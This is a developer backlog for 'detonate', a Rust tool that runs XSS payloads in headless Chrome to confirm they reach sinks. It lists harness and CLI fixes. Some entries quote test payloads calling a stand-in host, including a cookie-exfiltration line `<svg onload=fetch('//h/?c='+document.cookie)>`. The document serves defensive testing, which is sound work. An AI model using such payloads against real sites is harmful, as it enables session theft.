# BACKLOG - detonate
src/chrome.rs:289 | bug | high | extract_data_x matches the first data-x attribute in the entire DOM, allowing reflected markup to spoof successful detonation | FIXED: scan is now restricted to the <html> start tag (find "<html" -> first '>' -> search data-x=" within that span only). A reflected `data-x="..."` in the body no longer spoofs detonation. Proving tests extract_data_x_ignores_reflected_body_attribute (returns None + empty sinks) and extract_data_x_prefers_html_tag_over_reflected_body (real "real" wins over body "fake"). | status=done
src/chrome.rs:348 | bug | high | run_with_timeout waits for child exit without draining piped stdout, causing a deadlock if Chrome stdout exceeds the OS pipe limit | FIXED: stdout is now drained on a dedicated thread (child.stdout.take() -> read_to_end) concurrently with the try_wait/deadline poll loop, then joined after the process-group sweep. A --dump-dom payload larger than the ~64KB pipe buffer no longer wedges Chrome. Proving test run_with_timeout_drains_output_larger_than_pipe_buffer emits 200KB and asserts full capture (would time out to None under the old code). | status=done
src/chrome.rs:210 | silent-fallback | medium | overridden window.fetch returns an unresolved promise and swallows original request, blocking subsequent execution in async/await chains | Invoke the original fetch or return a resolved mock Response promise | status=done | FIXED (real detection-recall bug, not just a stub): a payload like `fetch(x).then(...)` or `await fetch(x); <more sinks>` used to HANG on the never-resolving `new Promise(function(){})`, so every sink after the fetch went unrecorded (silent recall loss in the detonation oracle). The override now returns `Promise.resolve(<mock Response>)` (ok/status/text/json/blob/arrayBuffer/clone/headers) so the async chain continues; we deliberately do NOT call the real fetch (no live network from the sandbox). Removed the dead `_f` capture. Proving test (real headless Chrome, gated) chrome::tests::chrome_fetch_override_resolves_so_chain_continues: payload `fetch('//attacker.example/x').then(()=>alert('after-fetch'))` must record BOTH the network sink AND the after-fetch alert - the alert only fires if the promise resolved. 27 chrome e2e tests green on this host (Chrome present, ran not skipped).
src/chrome.rs:218 | silent-fallback | medium | overridden window.open returns undefined instead of a mocked window object or invoking the original open, causing scripts relying on it to panic | Return a mocked dummy window object with basic properties (e.g. focus fn) | status=done | FIXED (same recall class): `window.open(u)` returned undefined, so `window.open(u).focus()` (or `.document`, `.close()`, ...) threw a TypeError that aborted the rest of the payload, dropping every later sink. The override now returns a mock window {closed,focus,blur,close,postMessage,document.write/writeln->REC("dom-write"),location.href/assign/replace->REC("redirect")} so method chains survive AND a popup that writes DOM or redirects is itself captured (bonus recall). Removed the dead `_open` capture. Proving test chrome::tests::chrome_window_open_override_returns_usable_window: `window.open('//attacker.example/p').focus();alert('after-open')` must record BOTH popup and the after-open alert (the alert only runs if .focus() did not throw). Real-Chrome e2e, green.
src/main.rs:68 | silent-fallback | medium | CLI parser for --url, --body-file, and --expect reads next argument without checking if None or another flag, causing silent falls to stdin or missing values | FIXED: added take_value(args, flag) helper that rejects a missing value (None) or a value beginning with '-' (another flag), erroring to stderr with ExitCode(2). --url/--body-file/--expect now route through it, so `--url` with no token and `--url --engine chrome` (which used to consume --engine as the URL) both fail loudly. Mirrors the existing --engine validation pattern. | status=done
src/lib.rs:370 | perf | low | Selector::parse("*") compiles the CSS selector on every call to extract_executable_js | FIXED: static ALL_SELECTOR: std::sync::LazyLock<scraper::Selector> parsed once ("*" is a compile-time-valid selector, .expect documents it); doc.select(&ALL_SELECTOR). | status=done
src/lib.rs:377 | perf | low | el.text().collect allocates a new String and push_nonempty trims it and allocates again via to_string | FIXED: push_nonempty_owned(out, s) trims the collected String in place (truncate to trim_end len, replace_range to drop the leading ws) and pushes it directly, no second allocation. Script-body path calls it with el.text().collect::<String>(). | status=done
src/lib.rs:241 | dedup | medium | detonate_scripts collects duplicate sink hits in jsdet engine, whereas chrome engine deduplicates them | FIXED: sinks are filtered through a HashSet<(kind, detail)> (seen.insert(...)) so the jsdet proof dedups identical hits exactly like chrome's parse_sinks. | status=done
DONE 2026-07-14 | src/breakout.rs:107 | test-gap | medium | attr-dq-autofocus vector fails to fire in headless Chrome due to multiple autofocus elements in the harness | Update the test or harness to ensure autofocus triggers or call focus() explicitly | status=done | FIXED: updated `chrome.rs::build_harness` so the mutation-sink clones of the body strip `autofocus` before insertion, leaving only the static (served-document) copy eligible to auto-focus. Added an explicit `document.querySelector("[autofocus]")?.focus()` at the end of the harness script so headless Chrome does not silently drop the `onfocus` handler when multiple autofocus elements contend. Also corrected Rust string escaping (unescaped double quotes and regex backslashes) introduced by the previous harness edit, which left `detonate` uncompilable. `cargo +1.92.0 test -p detonate --lib` 66 passed, CARGO_EXIT=0.
src/chrome.rs:126 | silent-fallback | low | TempHarness::write error is swallowed and returns an empty proof rather than propagating the file system error | FIXED (jointly with chrome.rs:162, the whole engine-failure cluster): added a `#[serde(default)] pub error: Option<String>` field to ExecutionProof + `ExecutionProof::failed(reason)` constructor (records the reason AND eprintln!s it to stderr = loud) + `failed_to_run()` accessor. The HarnessServer::start bind/spawn failure now returns `ExecutionProof::failed("harness HTTP server failed to start on loopback: {e}")` instead of a silent `ExecutionProof::default()`. This is the Law-10 fix: an infra failure in a detonation ORACLE that returns an empty executed:false proof is indistinguishable from "payload is safe" = a false negative; now error.is_some() distinguishes "could not run, re-run" from "ran, reached no sink". Non-breaking (serde default None; every ExecutionProof struct-literal already uses ..Default::default()). | status=done
src/chrome.rs:162 | silent-fallback | low | Chrome command launch failures or timeouts are swallowed, returning an empty proof silently | FIXED (see chrome.rs:126 for the shared ExecutionProof.error/failed() mechanism): the `run_with_timeout(...) else { return ExecutionProof::default() }` (None = spawn failure OR timeout) now returns `ExecutionProof::failed("Chrome failed to launch or timed out after {N}s (binary: {chrome})")` - loud (stderr) + recorded (error field). Also the no-binary path in detonate_html_chrome returns `failed("no Chrome/Chromium binary available")`. Proving test detonation_that_cannot_launch_reports_failure_not_silent_safe (DETERMINISTIC, no real Chrome needed): a bogus binary path -> failed_to_run()==true, error names launch/timeout, executed==false, proves("1")==false - discriminates the old silent-default behavior (error was None). | status=done
src/chrome.rs:130 | capability | high | The chrome engine served the harness from a file:// temp path, an OPAQUE origin where document.cookie / storage THROW a SecurityError. A cookie-exfil payload `<svg onload=fetch('//h/?c='+document.cookie)>` threw while evaluating its fetch argument, before the instrumented sink ran -> executed=false, no network sink. detonate silently under-reported the canonical XSS impact (cookie exfil). Test chrome_proves_network_exfil was RED on this host. | FIXED: new HarnessServer serves the instrumented harness from an ephemeral http://127.0.0.1:0 (loopback, kernel-assigned port, one detonation, accept loop stopped on drop). Over a real http origin document.cookie returns "" without throwing, so origin-bound exfil handlers detonate faithfully. Replaced the file:// TempHarness. chrome_proves_network_exfil now asserts the network sink + captured attacker.example host. | status=done